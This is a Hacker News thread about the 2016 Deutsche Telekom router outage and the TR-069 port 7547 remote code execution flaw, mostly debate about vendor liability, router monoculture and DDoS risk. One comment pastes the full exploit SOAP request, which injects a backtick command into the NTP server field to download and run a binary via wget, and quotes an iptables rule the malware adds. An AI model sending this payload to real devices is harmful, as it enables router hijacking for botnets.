Deutsche Telekom says 900k fixed-line customers suffer outages | Hacker News Reader

Deutsche Telekom says 900k fixed-line customers suffer outages

in.reuters.com

64 pointsBouncingsoul141 comments

So from https://isc.sans.edu/diary/Port+7547+SOAP+Remote+Code+Execut...

- this appears to be an attack on an externally visible port (7547)

- There is publicly available exploit code for this issue (https://www.exploit-db.com/exploits/40740/)

- There are at least 41 Million hosts on the Internet with that port open.

Sounds like quite a few people are going to have a bad time over this, and I'm left once again shaking my head at how someone ships an Internet facing consumer device with an open port by default.....

I see that the exploit sets an ntp-server with shell code in backticks. ok. But imagine the router did not have this exploit: Why on earth can anybody connect to that port and configure the NTP server? How is authentication for TR69 supposed to work??

The original disclosure from kenzo2017 covers this: https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-...

When Eir’s technical support want to manage the modem – maybe to reset the Wi-Fi password, they instruct the ACS (Access Control Server – the server used to manage the modems) to connect to the modem on port 7547 and send it a “connection request” command. The modem then connects to the ACS and Eir’s technical support can change whatever settings they want.

The level of attacks seems definitely to be ramping up.

I think the main reason for this jump has been the fact attackers are starting to make significant money out of these attacks now - especially now they can accept funds easily via Bitcoin. Before I think attacks were mainly for the lulz or very sophisticated attackers with various goals, but there must be hundreds of millions of dollars in ransoms being paid out now.

Nearly anyone can now start making very good money with some simple tools. And like any business people start innovating a lot quicker with a profit motive.

POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526

<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://l.ocal.host/2;chmod 777 2;./2`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>

#./2 .... busybox iptables -A INPUT -p tcp --destination-port 7547 -j DROP ...

next version step Mirai?

https://www.virustotal.com/en/file/ff6e949c7d1cd82ffc4a1b27e...

What a joke. There needs to be criminal liability for this. No authentication, authorization, identification? Data passed straight to exec() and fucking backticks are executed?

What is this? A TR 069 exploit?!

https://isc.sans.edu/forums/diary/Port+7547+SOAP+Remote+Code...

Thanks.

Jeez, I hate Telekom routers. They're unstable pieces of crap (except the rare, rebranded AVM Fritzbox models). Back when I was doing freelance home IT support, these dungheap devices caused most of the problems.

It looks like one.

Anyone else who thinks 900k routers, running 900k identical firmware versions, with 900k identical copies of any exploitable bugs, running on a predictable IP-range might be a bit of a problem, from a security PoV ?

I wish ISP's stopped providing routers with their connections, if only to prevent this kind of dangerous monoculture.

900k devices is a monoculture, really? What about the billions of Windows & Linux powered devices out there? I bet with a Linux 0day, you can exploit 10s of billions of devices out there, including routers.

> What about the billions of Windows & Linux powered devices out there?

What about them ? Do they all have routable IP's or are they behind one of these cheap-ass routers.

I guess forcing a heterogeneous router landscape to mitigate attack risks is called security through obscurity.

Before they did everyone were running open wifi networks or had the default password. Which was great for freeloading off neighbors, but perhaps not for security.

At least in Germany, when people are buying their own equipment (not uncommon), 90% of them will choose a Fritz!Box from AVM.

(Me too, in a few weeks)

Yeah, but if you go with fiber, then you need the FRITZ!Box 5490 which is apparently only available through the provider (officially) but Telekom at least doesn't offer it.

For Deutsche Telekom fiber you don't need no special router. Dial in with PPPoE over VLAN 7 similar to VDSL, minus the VDSL modem.

Some evidence to the contrary - Deutsche Telekom has already released a firmware update, and as they control the ecosystem they can likely deliver it down to their customers through a forced reboot. I'm not sure giving up control in this case is actually a benefit.

I flashed the router my ISP provided with dd-wrt because of this (and the fact I trust the dd-wrt team more than the routers stock firmware) since a monoculture is never a good thing.

What's scary about this is I have 100Mbps fiber at home.

At some point 900,000 routers with 100Mbps fiber might be a realistic user base that would be tremendous amount of traffic to smack people and that's without considering amplification attacks and such.

Thats assuming a volumetric attack, even just "request foo.co.uk every half second" would be catastrophic, 1.8 million requests per second would be a bit of a bugger to handle.

It's probably still 100Mbps download. Upload is much lower (10Mbps perhaps?) and the attack volume is determined by that.

I guess ISP specific attacks (with ISP specific boxes) wouldn't be that much of an issue as the ISP could be blocked. Will deny service to all users there, but the fault is clearly with the ISP, so they have to fix it. It's much more problematic if a generic router that's being used across the globe has a vulnerability. Filtering traffic will be much harder and ISPs will deny responsibility as it's not due to their machines.

OVH recently received a 150gbps DDoS from the biggest ISP on Spain (Telefonica) not long after they deployed symmetric 300mbps to almost all of their domestic customers at a decent price - OVH had to divert traffic over two different routes to be able to even _filter_ all of the incoming traffic.

https://forum.ovh.es/showthread.php?14451-Informaci%F3n-rela... (use Google Translate)

As those connections spread (and they will - if you have optic fiber coverage, the slowest you can get is symmetric 50mbps), things will only get funnier

If it's fibre there's no reason for it not to be symmetric (asymmetry is to be expected in DOCSIS/etc).

In any case I can make dozens of requests per second with only 1M upload. I'd say the amount of requests/second will only be limited by the CPU of the router.

I also remember reports that 110 and 112 calls (German emergency numbers) were down for four hours in some county recently due to technical issues on DTs part. I never saw an explanation what the exact cause was. Fire services and police handled it decently (iirc. stuff got routed to the next city and they increased patrol cars). Still a bit alarming that there's no fail over in place and these numbers basically rely on one company (probably routed in the fact that DT used to be state owned and is thus still implicitly trusted?).

"Based on the error pattern, we cannot exclude the possibility that the routers have been targeted by external parties with the result that they can no longer register on the network." [0]

[0] https://www.telekom.com/en/media/media-information/archive/i... (this should be the threads link in my opinion)

Telkom is the old national fixed line carrier with millions of customers. As they run the copper plant most of the DSL carrier modems are operated by them - there are some other carriers renting and reselling. They sell and rent customer DSL modems. One is also able to connect third party modems. Looks like modems of their main brand "Speedport" is affected. The Telkom link is the official company statement however lacks details. More technical details can be found from Heise:

https://www.heise.de/newsticker/meldung/Grossstoerung-bei-de...

https://translate.google.com/translate?sl=de&tl=en&js=y&prev...

> If problems persisted Deutsche Telekom suggested customers disconnect their routers from the network

Actually they suggest you disconnect the router, wait a few seconds and then reconnect it.

It's fixed now according to them.

https://www.heise.de/newsticker/meldung/Grossstoerung-bei-de...

The original disclosure of the vulnerability is also an interesting read: https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-...

This is what you get for dumb and needless centralization of infrastructure inside a capitalistic system, which does not at all incentivize maintenance and providing security!

  and it could not rule out "targeted external factors" as the reason

Yes, and DT could also not rule out extra-terrestrial interference. But who cares?

It seems any large-scale enterprise incident is blamed on some other nebulous third-party these days (Russia, 400 lb men in their beds..) in order shift blame elsewhere.

Do the general public see through this?

It's not quite that simple. The sample of 900000 customers includes some knowledgeable people, and the attack/outage has been going on for long enough to investigate a little bit.

If what they write is to be believed, and many people have posted evidence, this is a mirari-style attack on people's home routers via a hole in the TR-069 remote management protocol.

The malware then closed off the management port, locking out the Telekom ISP from performing remote maintenance to fix it. Their advice to "shut off" the devices, seems to be based on the fact that at least some variants of mirari do not persist to the device and only exist in memory.

On the other hand we have been hearing a lot about targeted cyber-attacks lately so it's not unreasonable to see it as a possibility.

Companies have always shifted blame. I think there's just less disadvantage to admitting you were hacked than there used to be.

Companies used to keep that stuff under wraps to avoid looking weak, but it's so common now that it doesn't really hurt your brand to say it.

The truth will come out pretty quickly, anyone doing transit or peering can see any attack happen

> I think there's just less disadvantage to admitting you were hacked than there used to be.

Is there any data that would support this claim?

I just don't believe it. This is the worse version of a technical failure. Admitting a technical failure would therefore be automatically better then a hack.

> This is the worse version of a technical failure. Admitting a technical failure would therefore be automatically better then a hack.

I really doubt that's the way the general public views this (and they're the ones that matter when it comes to what companies are willing to admit)

If they say they had a technical error the perception would be that it's their fault.

If they say that they've been hacked the perception would be that it's because someone else did something bad, so they're the victims.

I think this is terrible, but I fear that it's the truth

Actually most of the "general public" complain about the router. The rest complains about the general incompetence of the former government institution that failed them again (20years of them going public recently. Was a huge scam for the "general public"). But of course, there is still the Querfront fraction who doesn't want this to be just another Russia hack.

If you'd come up to them and gave them a technical reason they don't even understand, it couldn't be worse. This is Germany here. People do have a genetically build in respect for people who talk a version of the language they don't comprehend since they must be a authority.

Nothing hard but the various leaks of diplomatic cables and spy tools have made claims of state sponsored hacking undeniable. Everyone knows that all the big companies are getting hacked all the time thanks to the leaks.

How is a technical failure worse than a hack? One implies incompetence on your part, the other that you were attacked.

> Everyone knows

How could you still overestimate this in such a ridiculous way? The general public will install a Virus Scanner and expect it to protect them. If it doesn't, they will call support and write snail mail. This is Germany man and this is why a Hack is just the worst version of a technical failure. "You failed to prevent the hack. You have not been protected or your protection sucks. Go install Avira next time!"

Through conspiracy theories issued by commentators on popular pages?

Sorry if I wasn't clear. I wasn't saying that there wasn't some targeted attack on their infrastructure.

Even if there was though, isn't it incumbent on DT to provide a level of infrastructure that is resilient to these types of attacks?

Further, they don't even appear to share any evidence of an attack, just that they "can't rule it out".

No conspiracy theory, just feel like we've seen lines like this more often recently.

Reply on news.ycombinator.com